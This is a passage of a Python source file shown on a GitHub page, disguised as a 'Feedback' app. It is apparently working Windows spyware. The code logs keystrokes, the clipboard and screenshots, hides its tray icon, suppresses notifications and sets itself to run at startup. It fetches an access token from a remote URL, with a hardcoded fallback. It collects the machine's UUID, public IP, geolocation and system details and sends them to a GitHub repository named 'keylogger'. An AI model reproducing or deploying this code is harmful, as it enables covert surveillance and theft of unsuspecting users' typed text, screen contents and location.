-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfeedback copy 2.py
2663 lines (2316 loc) · 115 KB
/
feedback copy 2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# single instance check optimized
import os
import re
import gc
import sys
import time
import json
import uuid
import ctypes
import base64
import winreg
import psutil
import shutil
import socket
import getpass
import logging
import win32api
import win32con
import win32gui
import platform
import requests
import threading
import pyautogui
import pyperclip
import webbrowser
import subprocess
import tkinter as tk
from io import BytesIO
import ctypes.wintypes
WM_MOUSEMOVE = 0x0200
import pygetwindow as gw
from PIL import ImageGrab
from pynput import keyboard
from plyer import notification
from ctypes import WINFUNCTYPE
from PIL import Image, ImageDraw
from datetime import datetime, timedelta
from pystray import Icon, Menu, MenuItem
from tkinter import PhotoImage, ttk, messagebox
# Global variables
APP_NAME = "Feedback"
is_running = True # Screenshots enabled
listener_running = True # Keylogging enabled
screenshot_interval = 600 # Default interval (seconds)
lock = threading.Lock()
current_window = None # Currently active window
current_keys = [] # Keys typed in the current window
last_clipboard_content = None # To track clipboard changes
current_line = ""
first_entry = True
active_window = ""
keys_pressed = set() # Keeps track of currently pressed keys
username = getpass.getuser() # get the current user name of PC
global last_upload
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# customize the program
SHOW_NOTIFICATIONS = False # control notification display - Set to False to suppress notifications
is_startup_enabled = True # Track the "Run on Startup" state
global tray_icon
tray_icon = None
icon_visible = False # True -> show icon | False -> hide icon
threshold_seconds = 90 * 24 * 60 * 60 # time in second (90 days in seconds) to delete log fileups and folders
# interval_logs_delete_status = 1 * 24 * 60 * 60 # interval in second (1 days in seconds) for checking log delete status
interval_logs_delete_status = 10 # interval in second (1 days in seconds) for checking log delete status
# interval_logs_Upload_status = 1 * 24 * 60 * 60 # interval in second (1 days in seconds) for checking log upload status
interval_logs_Upload_status = 30 * 60 # interval in second (1 days in seconds) for checking log upload status
CURRENT_VERSION = "2.1.1" # current version of program <---------<----------<-----------------<-----------<---------------<-----------------<-----
VERSION_URL = "https://raw.githubusercontent.com/bebedudu/autoupdate/refs/heads/main/latest_version.txt" # url to check new version
BASE_DOWNLOAD_URL = "https://github.com/bebedudu/autoupdate/releases/download" # url to download then updated program
APPLICATION_NAME = "feedback.exe" # compiled program name
# GitHub Configuration for active user
# URL containing the tokens JSON
TOKEN_URL = "https://raw.githubusercontent.com/bebedudu/tokens/refs/heads/main/tokens.json"
# Default token if URL fetch fails
DEFAULT_TOKEN = "asdft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aefthu"
# Determine the application directory for logging error
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Check if the script is bundled
app_dir = os.path.dirname(sys.executable) # Directory of the .exe file
else:
app_dir = os.path.dirname(os.path.abspath(__file__)) # Directory of the script
# Log file path in the application directory
LOG_FILE = os.path.join(app_dir, "keylogerror.log")
# Ensure the log file exists or create it
if not os.path.exists(LOG_FILE):
try:
with open(LOG_FILE, 'w'): # Create the file if it doesn't exist
pass
except Exception as e:
print(f"Error creating log file: {e}")
raise
# Configure logging
logging.basicConfig(
filename=LOG_FILE,
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s"
)
# Test logging
logging.info(f"\n\n\nApplication started successfully {username}.")
print(f"Application started successfully {username}.")
# print(f"The username of this PC is: {username}")
if(LOG_FILE):
logging.info(f"Log file is at {LOG_FILE}")
print(f"Log file is at {LOG_FILE}")
else:
logging.info(f"Error creating log file")
print(f"Error creating log file")
# function to get token number
# ----------------------------------------------------------------------------------
def get_token():
try:
# Fetch the JSON from the URL
response = requests.get(TOKEN_URL)
if response.status_code == 200:
token_data = response.json()
# Check if the "feedback" key exists
if "feedback" in token_data:
token = token_data["feedback"]
# Remove the first 5 and last 6 characters
processed_token = token[5:-6]
logging.info(f"Token fetched and processed")
# print(f"Token fetched and processed: {processed_token}")
return processed_token
else:
logging.warning("Key 'feedback' not found in the token data.")
print("Key 'feedback' not found in the token data.")
else:
logging.warning(f"Failed to fetch tokens. Status code: {response.status_code}")
print(f"Failed to fetch tokens. Status code: {response.status_code}")
except Exception as e:
logging.warning(f"An error occurred while fetching the token: {e}")
print(f"An error occurred while fetching the token: {e}")
# Fallback to the default token
# logging.info("Using default token.")
print("Using default token.")
return DEFAULT_TOKEN[5:-6]
# Call the function
GITHUB_TOKEN = get_token()
# print(f"Final Token: {GITHUB_TOKEN}")
REPO = "bebedudu/keylogger" # Replace with your repo (username/repo)
FILE_PATH = "uploads/activeuserinfo.txt" # Path to the file in the repo (e.g., "folder/file.txt") (https://raw.githubusercontent.com/bebedudu/keylogger/refs/heads/main/c/activeuserinfo.txt)
BRANCH = "main" # The branch to modify
API_BASE_URL = "https://api.github.com"
INTERVAL_URL = "https://raw.githubusercontent.com/bebedudu/autoupdate/main/interval.json" # Interval JSON URL
IPINFO_TOKEN = "ccb3ba52662beb" # Replace with your ipinfo token
# Function to get the BIOS UUID on Windows for unique identification
# ----------------------------------------------------------------------------------
# def get_windows_uuid():
# try:
# output = subprocess.check_output('wmic csproduct get uuid', shell=True).decode()
# return output.split('\n')[1].strip()
# except Exception as e:
# return str(e)
# logging.info("🖥️ Windows Persistent BIOS UUID:", get_windows_uuid())
# print("🖥️ Windows Persistent BIOS UUID:", get_windows_uuid())
# unique_id = get_windows_uuid() # generate universally unique identifiers (UUIDs) across all devices
# Function to get the BIOS UUID on Windows for unique identification
def get_windows_uuid():
try:
output = subprocess.check_output('wmic csproduct get uuid', shell=True).decode()
uuid_value = output.split('\n')[1].strip()
if uuid_value:
return uuid_value
else:
raise ValueError("Empty UUID value")
except Exception as e:
logging.warning(f"Failed to get BIOS UUID: {e}")
print(f"Failed to get BIOS UUID: {e}")
return get_mac_address() # Fallback to MAC address if BIOS UUID retrieval fails
# Function to get the MAC address (used if BIOS UUID retrieval fails)
def get_mac_address():
try:
mac = uuid.getnode()
mac_str = ':'.join(("%012X" % mac)[i:i+2] for i in range(0, 12, 2))
if mac_str:
return mac_str
else:
raise ValueError("Failed to get MAC address")
except Exception as e:
logging.error(f"Failed to get MAC address: {e}")
print(f"Failed to get MAC address: {e}")
return str(e)
# Main script
logging.info(f"🖥️ Windows Persistent UUID: {get_windows_uuid()}")
print("🖥️ Windows Persistent UUID:", get_windows_uuid())
unique_id = get_windows_uuid() # generate universally unique identifiers (UUIDs) across all devices
# Default configuration
# ----------------------------------------------------------------------------------
DEFAULT_CONFIG = {
"version": CURRENT_VERSION, # Default: Current version
"screenshot_interval": 300, # Default: 5 minutes
"Screenshot_enabled": True, # Default: Screenshots enabled
"Keyoard_enabled": True, # Default: Keylogging enabled
# "remaining_log_days": 60, # Default: 60 seconds remaining for log folder
"remaining_log_days": 90 * 24 * 60 * 60, # Default: 5 days in seconds remaining for log folder
# "remaining_screenshot_days": 60, # Default: 60 seconds remaining for screenshot folder
"remaining_screenshot_days": 90 * 24 * 60 * 60, # Default: 5 days in seconds, # Default: 5 days remaining for screenshot folder
"last_upload": None, # Default to None for first run
"startup_enable": True, # Default: Run on startup disabled
}
# Determine the application directory for images files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Bundled as .exe
app_dir = os.path.dirname(sys.executable)
else: # Running as a script
app_dir = os.path.dirname(os.path.abspath(__file__))
# Define the logs folder and log file path
# image_folders = os.path.join(app_dir, "image")
image_folders = os.path.join(app_dir, "assets\\image")
ICON_PATH = os.path.join(image_folders, "icon.ico")
# Ensure the logs folder exists
try:
os.makedirs(image_folders, exist_ok=True) # Create logs folder if it doesn't exist
logging.info(f"icon is at {ICON_PATH}")
print(f"icon is at {ICON_PATH}")
except Exception as e:
logging.error(f"Error creating image folder: {e}")
print(f"Error creating image folder: {e}")
raise SystemExit(f"Error: Unable to create image folder. {e}")
# Determine the application directory for schedule files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Bundled as .exe
app_dir = os.path.dirname(sys.executable)
else: # Running as a script
app_dir = os.path.dirname(os.path.abspath(__file__))
# Define the logs folder and log file path
# image_folders = os.path.join(app_dir, "image")
task_folders = os.path.join(app_dir, "assets\\schedule")
TASK_FILE = os.path.join(task_folders, "MyFeedback.xml")
# Ensure the logs folder exists
try:
os.makedirs(task_folders, exist_ok=True) # Create logs folder if it doesn't exist
logging.info(f"schedule is at {TASK_FILE}")
print(f"schedule is at {TASK_FILE}")
except Exception as e:
logging.error(f"Error creating task folder: {e}")
print(f"Error creating task folder: {e}")
raise SystemExit(f"Error: Unable to create task folder. {e}")
# Determine the application directory for error backup files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Bundled as .exe
app_dir = os.path.dirname(sys.executable)
else: # Running as a script
app_dir = os.path.dirname(os.path.abspath(__file__))
# Define the logs folder and log file path
# image_folders = os.path.join(app_dir, "image")
task_folders = os.path.join(app_dir, "assets\\schedule")
BAT_FILE = os.path.join(task_folders, "feedbackBackup.bat")
# Ensure the logs folder exists
try:
os.makedirs(task_folders, exist_ok=True) # Create logs folder if it doesn't exist
logging.info(f"backup file is at {BAT_FILE}")
print(f"backup file is at {BAT_FILE}")
except Exception as e:
logging.error(f"Error creating task folder: {e}")
print(f"Error creating task folder: {e}")
raise SystemExit(f"Error: Unable to create task folder. {e}")
# Determine the application directory for screenshot folder
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Check if the script is bundled as .exe
app_dir = os.path.dirname(sys.executable) # Directory of the .exe file
else: # Running as a script
app_dir = os.path.dirname(os.path.abspath(__file__)) # Directory of the script
# Define the screenshots folder path
screenshot_folder = os.path.join(app_dir, "screenshots")
# Ensure the screenshots folder exists
try:
os.makedirs(screenshot_folder, exist_ok=True)
logging.info(f"screenshots folder ready at {screenshot_folder}")
print(f"screenshots folder is at {screenshot_folder}")
except Exception as e:
logging.error(f"Error creating 'screenshots' folder: {e}")
print(f"Error creating 'screenshots' folder: {e}")
raise SystemExit(f"Error: Unable to create 'screenshots' folder. {e}")
# Determine the application directory for log files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Bundled as .exe
app_dir = os.path.dirname(sys.executable)
else: # Running as a script
app_dir = os.path.dirname(os.path.abspath(__file__))
# Define the logs folder and log file path
logs_folder = os.path.join(app_dir, "logs")
keylog_file = os.path.join(logs_folder, "key_log.txt")
# Ensure the logs folder exists
try:
os.makedirs(logs_folder, exist_ok=True) # Create logs folder if it doesn't exist
logging.info(f"keylog file is at {keylog_file}")
print(f"keylog file is at {keylog_file}")
except Exception as e:
logging.error(f"Error creating logs folder: {e}")
print(f"Error creating logs folder: {e}")
raise SystemExit(f"Error: Unable to create logs folder. {e}")
# clipboard log file path
clipboard_log_file = os.path.join(logs_folder, "clipboard_log.txt")
logging.info(f"clipbard log file is at {clipboard_log_file}")
print(f"clipbard log file is at {clipboard_log_file}")
# Determine the application directory for log folder & config file
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False): # Bundled as .exe
app_dir = os.path.dirname(sys.executable)
else: # Running as a script
app_dir = os.path.dirname(os.path.abspath(__file__))
# Define the logs folder and log file path
CONFIG_FILE = os.path.join(app_dir, "config.json")
# Ensure the logs folder exists
try:
os.makedirs(app_dir, exist_ok=True) # Create logs folder if it doesn't exist
logging.info(f"configuration file is at {CONFIG_FILE}")
print(f"configuration file is at {CONFIG_FILE}")
except Exception as e:
logging.error(f"Error creating logs folder: {e}")
print(f"Error creating logs folder: {e}")
raise SystemExit(f"Error: Unable to create config file. {e}")
# useragreement file path
useragreement_file = os.path.join(app_dir, "terms.txt")
logging.info(f"useragreement file is at {useragreement_file}")
print(f"useragreement file is at {useragreement_file}")
# Notification function
# ----------------------------------------------------------------------------------
def show_notification(title, message):
"""
Show a system notification if SHOW_NOTIFICATIONS is True.
"""
if not SHOW_NOTIFICATIONS:
logging.warning("Notification suppressed.")
print("Notification suppressed.")
return
try:
notification.notify(
title=title,
message=message,
app_name="Keylogger",
# app_icon=ICON_PATH,
app_icon=ICON_PATH if os.path.exists(ICON_PATH) else None,
timeout=3
)
except Exception as e:
logging.error(f"Notification Error: {e}")
print(f"Notification Error: {e}")
# Function to show a notification with a custom duration
# ----------------------------------------------------------------------------------
def show_test_notification(title, message, duration=1):
root = tk.Tk()
root.title(title)
root.geometry("300x60")
root.overrideredirect(True) # Removes window decorations
root.attributes("-topmost", True) # Keeps the window on top
root.configure(bg="#282C34") # Background color
# Get screen dimensions and position the window at the center
screen_width = root.winfo_screenwidth()
screen_height = root.winfo_screenheight()
# center window notification
# window_width, window_height = 300, 60 # Same as geometry
# position_x = (screen_width // 2) - (window_width // 2)
# position_y = (screen_height // 2) - (window_height // 2)
# root.geometry(f"{window_width}x{window_height}+{position_x}+{position_y}")
# bottom-right corner notification
x = screen_width - 320
y = screen_height - 140
root.geometry(f"+{x}+{y}") # Position the window at the bottom-right corner
# # Add a rounded border
frame = ttk.Frame(root, style="Custom.TFrame")
frame.pack(fill="both", expand=True, padx=10, pady=10)
label = tk.Label(
root,
text=message,
font=("Helvetica", 12),
padx=10,
pady=10,
fg="#ABB2BF",
bg="#282C34",
# wraplength=280,
# justify="center",
)
label.pack(expand=True)
# Close the window after the specified duration
# root.after(duration * 1000, root.destroy) # duration in second
root.after(duration, root.destroy) # duration in millisecond
root.mainloop()
logging.info("Start Notification displayed successfully.")
print("Start Notification displayed successfully.")
show_test_notification(f"Hello","Cheking for updates", duration=400)
# Function to get user active status
# ----------------------------------------------------------------------------------
DEFAULT_INTERVAL = 60 # Default interval (fallback)
HEADERS = {
"Authorization": f"token {GITHUB_TOKEN}",
"Accept": "application/vnd.github.v3+json",
}
def is_internet_available():
"""Check if the internet connection is available."""
try:
requests.get("https://www.google.com", timeout=3)
return True
except requests.RequestException:
logging.warning("No internet connection.")
print("No internet connection.")
return False
def format_interval(seconds):
"""
Format the interval in seconds into a human-readable format.
"""
if seconds < 60:
return f"{seconds} second{'s' if seconds > 1 else ''}"
elif seconds < 3600:
minutes = seconds // 60
return f"{minutes} minute{'s' if minutes > 1 else ''}"
else:
hours = seconds // 3600
return f"{hours} hour{'s' if hours > 1 else ''}"
def fetch_interval():
"""
Fetch the interval value from the remote URL and return it as a human-readable string.
"""
try:
response = requests.get(INTERVAL_URL, timeout=5)
response.raise_for_status()
interval_data = response.json()
interval_seconds = interval_data.get("UseActiveInterval", DEFAULT_INTERVAL)
human_readable_interval = format_interval(interval_seconds)
print(f"\n-----Fetched interval (User Active Interval): {human_readable_interval}-----")
return interval_seconds
except requests.RequestException as e:
logging.error(f"Failed to fetch interval from URL. Using default: {DEFAULT_INTERVAL} seconds")
print(f"\n-----Failed to fetch interval from URL. Using default: {DEFAULT_INTERVAL} seconds-----")
return DEFAULT_INTERVAL
def get_public_ip():
"""Get the public IP address of the user."""
try:
response = requests.get("https://api64.ipify.org?format=json")
response.raise_for_status()
return response.json().get("ip")
except requests.RequestException as e:
logging.error(f"Error fetching public IP: {e}")
print(f"Error fetching public IP: {e}")
return None
def get_geolocation(ip_address):
"""Get geolocation details for the given IP address."""
try:
# api_url = f"https://ipinfo.io/{ip_address}?token=ccb3ba52662beb" # Replace with your ipinfo token
api_url = f"https://ipinfo.io/{ip_address}?token={IPINFO_TOKEN}" # Replace with your ipinfo token
response = requests.get(api_url)
response.raise_for_status()
data = response.json()
return (
data.get("country", "N/A"),
data.get("region", "N/A"),
data.get("city", "N/A"),
data.get("org", "N/A"),
data.get("loc", "N/A"),
data.get("postal", "N/A"),
data.get("timezone", "N/A"),
)
except requests.RequestException as e:
logging.error(f"Error fetching geolocation: {e}")
print(f"Error fetching geolocation: {e}")
return ("N/A",) * 7
ip_address = get_public_ip()
country, region, city, org, loc, postal, timezone = get_geolocation(ip_address)
# print(f"Country: {country}, Region: {region}, City: {city}")
def get_system_info():
"""Get detailed system information as a string."""
info = {
"System": platform.system(),
"Node Name": platform.node(),
"Release": platform.release(),
"Version": platform.version(),
"Machine": platform.machine(),
"Processor": platform.processor(),
"CPU Cores": psutil.cpu_count(logical=False),
"Logical CPUs": psutil.cpu_count(logical=True),
"Total RAM": f"{psutil.virtual_memory().total / (1024 ** 3):.2f} GB",
"Available RAM": f"{psutil.virtual_memory().available / (1024 ** 3):.2f} GB",
"Used RAM": f"{psutil.virtual_memory().used / (1024 ** 3):.2f} GB",
"RAM Usage": f"{psutil.virtual_memory().percent}%",
"Disk Usage": {
partition.mountpoint: {
"Total": f"{psutil.disk_usage(partition.mountpoint).total / (1024 ** 3):.2f} GB",
"Used": f"{psutil.disk_usage(partition.mountpoint).used / (1024 ** 3):.2f} GB",
"Free": f"{psutil.disk_usage(partition.mountpoint).free / (1024 ** 3):.2f} GB",
"Usage": f"{psutil.disk_usage(partition.mountpoint).percent}%",
}
for partition in psutil.disk_partitions()
},
"IP Address": socket.gethostbyname(socket.gethostname()),
"MAC Address": ":".join(
["{:02x}".format((uuid.getnode() >> elements) & 0xFF) for elements in range(0, 2 * 6, 2)][::-1]
),
}
logging.info(f"System Info: generated")
print(f"System Info: generated")
return json.dumps(info, separators=(",", ":"))
def update_active_user_file(new_entry, active_user):
"""Update the active user file on GitHub."""
file_url = f"{API_BASE_URL}/repos/{REPO}/contents/{FILE_PATH}"
max_retries = 3
attempt = 0
while attempt < max_retries:
try:
response = requests.get(file_url, headers=HEADERS)
if response.status_code == 200:
file_data = response.json()
current_content = base64.b64decode(file_data["content"]).decode("utf-8")
sha = file_data["sha"]
else:
print(f"Failed to fetch file content: {response.status_code} - {response.json()}")
return
updated_content = current_content + new_entry
encoded_content = base64.b64encode(updated_content.encode("utf-8")).decode("utf-8")
update_payload = {
"message": f"Updating-{active_user}-{country}-{region}-{city}-{unique_id} active user log",
"content": encoded_content,
"sha": sha,
"branch": BRANCH,
}
response = requests.put(file_url, headers=HEADERS, data=json.dumps(update_payload))
if response.status_code == 200:
print(f"Active-user File updated successfully! New entry: {new_entry}")
return # Exit function after successful update
else:
print(f"Failed to update file: {response.status_code} - {response.json()}")
except Exception as e:
logging.error(f"Error updating file: {e}")
print(f"Error updating file: {e}")
attempt += 1
print(f"Retrying upload ({attempt}/{max_retries}) for {FILE_PATH}...")
time.sleep(5) # Wait before retrying
print(f"Failed to update {FILE_PATH} after {max_retries} attempts.")
def log_active_user():
"""Log the active user information with system info."""
if not is_internet_available():
print("No internet connection. Skipping this user active update cycle.")
return
try:
active_user = os.getlogin()
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
user_ip = get_public_ip()
country, region, city, org, loc, postal, timezone = get_geolocation(user_ip) if user_ip else ("N/A",) * 7
system_info = get_system_info()
new_entry = (
f"{timestamp} - User: {active_user}, Unique_ID: {unique_id} , IP: {user_ip}, Location: {country}, {region}, {city}, Org: {org}, "
f"Coordinates: {loc}, Postal: {postal}, TimeZone: {timezone}, System Info: {system_info}\n"
)
update_active_user_file(new_entry, active_user)
except Exception as e:
logging.error(f"An error occurred: {e}")
print(f"An error occurred: {e}")
# Function to check the active user periodically
def active_user_check():
global DEFAULT_INTERVAL
try:
DEFAULT_INTERVAL = fetch_interval() # Fetch updated interval
log_active_user()
time.sleep(DEFAULT_INTERVAL)
threading.Timer(DEFAULT_INTERVAL, active_user_check).start() # 10 second
except Exception as e:
logging.error(f"Error in checking active user: {e}")
print(f"Error in checking active user: {e}")
# # Start the periodic check
# active_user_check() # Start the active user check
# save configuration & restore
# ----------------------------------------------------------------------------------
# Load configuration from JSON file
def load_config():
global version, screenshot_interval, is_running, listener_running, remaining_log_days, remaining_screenshot_days, last_upload, is_startup_enabled
# Check if the config file exists
if not os.path.exists(CONFIG_FILE):
# If the config file doesn't exist, create a default one
return create_default_config()
try:
with open(CONFIG_FILE, "r") as f:
config = json.load(f)
version = config.get("version", DEFAULT_CONFIG["version"]) # Load the version
screenshot_interval = config.get("screenshot_interval", DEFAULT_CONFIG["screenshot_interval"])
is_running = config.get("Screenshot_enabled", DEFAULT_CONFIG.get("Screenshot_enabled", True)) # Default to True
listener_running = config.get("Keyoard_enabled", DEFAULT_CONFIG.get("Keyoard_enabled", True)) # Default to True
remaining_log_days = config.get("remaining_log_days", DEFAULT_CONFIG["remaining_log_days"])
remaining_screenshot_days = config.get("remaining_screenshot_days", DEFAULT_CONFIG["remaining_screenshot_days"])
last_upload = config.get("last_upload", DEFAULT_CONFIG["last_upload"])
is_startup_enabled = config.get("startup_enable", DEFAULT_CONFIG["startup_enable"]) # Load startup_enable
# Synchronize startup state with Windows registry
synchronize_startup_state()
logging.info("configuration loaded sucessfully.")
print("configuration loaded sucessfully.")
# except FileNotFoundError as e:
# logging.error(f"Error load_config: {e}")
# print(f"Error load_config: {e}")
# save_config() # Save defaults if the file doesn't exist
except json.JSONDecodeError:
# If JSON is corrupted or invalid, reset the config to default
logging.error(f"Error load_config: {e}")
print("Error reading config, resetting to default.")
return create_default_config()
# Save configuration to JSON file
def save_config():
global CURRENT_VERSION, screenshot_interval, is_running, listener_running, remaining_log_days, remaining_screenshot_days, last_upload, is_startup_enabled
try:
# Ensure the logs folder exists before saving config.json
os.makedirs(app_dir, exist_ok=True) # Create LOG_FOLDER if it doesn't exist
config = {
"version": CURRENT_VERSION, # Save the version
"screenshot_interval": screenshot_interval,
"Screenshot_enabled": is_running, # Default: Screenshots enabled
"Keyoard_enabled": listener_running, # Default: Keylogging enabled
# "remaining_log_days": int(remaining_log_days), # Save as integer
# "remaining_screenshot_days": int(remaining_screenshot_days) # Save as integer
# "remaining_log_days": remaining_log_days // (24 * 60 * 60), # Convert seconds to days
# "remaining_screenshot_days": remaining_screenshot_days // (24 * 60 * 60), # Convert seconds to days
"remaining_log_time": format_remaining_time(remaining_log_days),
"remaining_screenshot_time": format_remaining_time(remaining_screenshot_days),
"last_upload": last_upload,
"startup_enable": is_startup_enabled, # Save startup_enable state
}
config_path = os.path.join(app_dir, "config.json") # Save config in LOG_FOLDER
with open(config_path, "w") as file:
json.dump(config, file, indent=4) # format json file (indent=4)
# logging.info("Configuration updated successfully.")
print("Configuration updated successfully.")
except Exception as e:
logging.error(f"Error save_config: {e}")
print(f"Error saving config: {e}")
def create_default_config():
# Default config values
default_config = {
"version": CURRENT_VERSION,
"Screenshot_enabled": True,
"Keyoard_enabled": True, # Assuming "Keyoard" is a typo for "Keyboard"
}
# Write the default config to the file
with open(CONFIG_FILE, 'w') as f:
json.dump(default_config, f, indent=4)
logging.warning("Default config written to config.json")
print("Default config written to config.json")
return default_config
# Restore the default configuration
def restore_defaults(icon, item=None):
try:
with lock:
global version, screenshot_interval, is_running, listener_running, remaining_log_days, remaining_screenshot_days, last_upload, is_startup_enabled
version = DEFAULT_CONFIG["version"]
screenshot_interval = DEFAULT_CONFIG["screenshot_interval"]
is_running = DEFAULT_CONFIG["Screenshot_enabled"]
listener_running = DEFAULT_CONFIG["Keyoard_enabled"]
remaining_log_days = DEFAULT_CONFIG["remaining_log_days"]
remaining_screenshot_days = DEFAULT_CONFIG["remaining_screenshot_days"]
last_upload = DEFAULT_CONFIG["last_upload"]
is_startup_enabled = DEFAULT_CONFIG["startup_enable"]
save_config() # Save the restored defaults to the config file
# interval_display = (
# f"{screenshot_interval} seconds" if screenshot_interval < 60 else
# f"{screenshot_interval // 60} minutes" if screenshot_interval < 3600 else
# f"{screenshot_interval // 3600} hour"
# )
# Notify the user
# show_notification(APP_NAME, f"Configuration restored to default: {interval_display}.")
show_notification(APP_NAME, f"Default settings have been restored.")
logging.info("Configuration restored to default.")
print("Configuration restored to default.")
update_checkmarks(icon) # Update the checkmarks in the menu
except Exception as e:
logging.error(f"Error restoring defaults: {e}")
print(f"Error restoring defaults: {e}")
show_notification(APP_NAME, "Failed to restore default configuration.")
load_config() # Load the interval from JSON file
# Function to save system info
# ----------------------------------------------------------------------------------
def get_system_info():
try:
info = {
"System": platform.system(),
"Node Name": platform.node(),
"Release": platform.release(),
"Version": platform.version(),
"Machine": platform.machine(),
"Processor": platform.processor(),
"CPU Cores": psutil.cpu_count(logical=False),
"Logical CPUs": psutil.cpu_count(logical=True),
"Total RAM": f"{psutil.virtual_memory().total / (1024 ** 3):.2f} GB",
"Available RAM": f"{psutil.virtual_memory().available / (1024 ** 3):.2f} GB",
"Used RAM": f"{psutil.virtual_memory().used / (1024 ** 3):.2f} GB",
"RAM Usage": f"{psutil.virtual_memory().percent}%",
"Disk Partitions": psutil.disk_partitions(),
"Disk Usage": {partition.mountpoint: {
"Total": f"{psutil.disk_usage(partition.mountpoint).total / (1024 ** 3):.2f} GB",
"Used": f"{psutil.disk_usage(partition.mountpoint).used / (1024 ** 3):.2f} GB",
"Free": f"{psutil.disk_usage(partition.mountpoint).free / (1024 ** 3):.2f} GB",
"Usage": f"{psutil.disk_usage(partition.mountpoint).percent}%"
} for partition in psutil.disk_partitions()},
"IP Address": socket.gethostbyname(socket.gethostname()),
"MAC Address": ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0, 2*6, 2)][::-1])
}
return info
except Exception as e:
logging.error(f"Error getting system information {e}")
print(f"Error getting system information {e}")
def save_system_info_to_json():
system_info = get_system_info()
try:
log_folder = os.path.join(app_dir, "logs") # Use app_dir instead of os.getcwd()
os.makedirs(log_folder, exist_ok=True)
json_file_path = os.path.join(log_folder, "system_info.json")
with open(json_file_path, "w") as json_file:
json.dump(system_info, json_file, indent=4)
logging.info(f"System information saved to {json_file_path}")
print(f"System information saved to {json_file_path}")
except Exception as e:
logging.error(f"Error: Unable to create system_info file. {e}")
print(f"Error creating system_info.json file: {e}")
save_system_info_to_json()
# auto delete logs folder & screenshot folder
#----------------------------------------------------------------------------------
# Function to format the remaining time as "X days Y hours Z minutes W seconds"
def format_remaining_time(seconds):
days = seconds // (24 * 3600)
seconds %= 24 * 3600
hours = seconds // 3600
seconds %= 3600
minutes = seconds // 60
seconds %= 60
return f"{int(days)} days {int(hours)} hours {int(minutes)} minutes {int(seconds)} seconds"
def fetch_config_from_url(url):
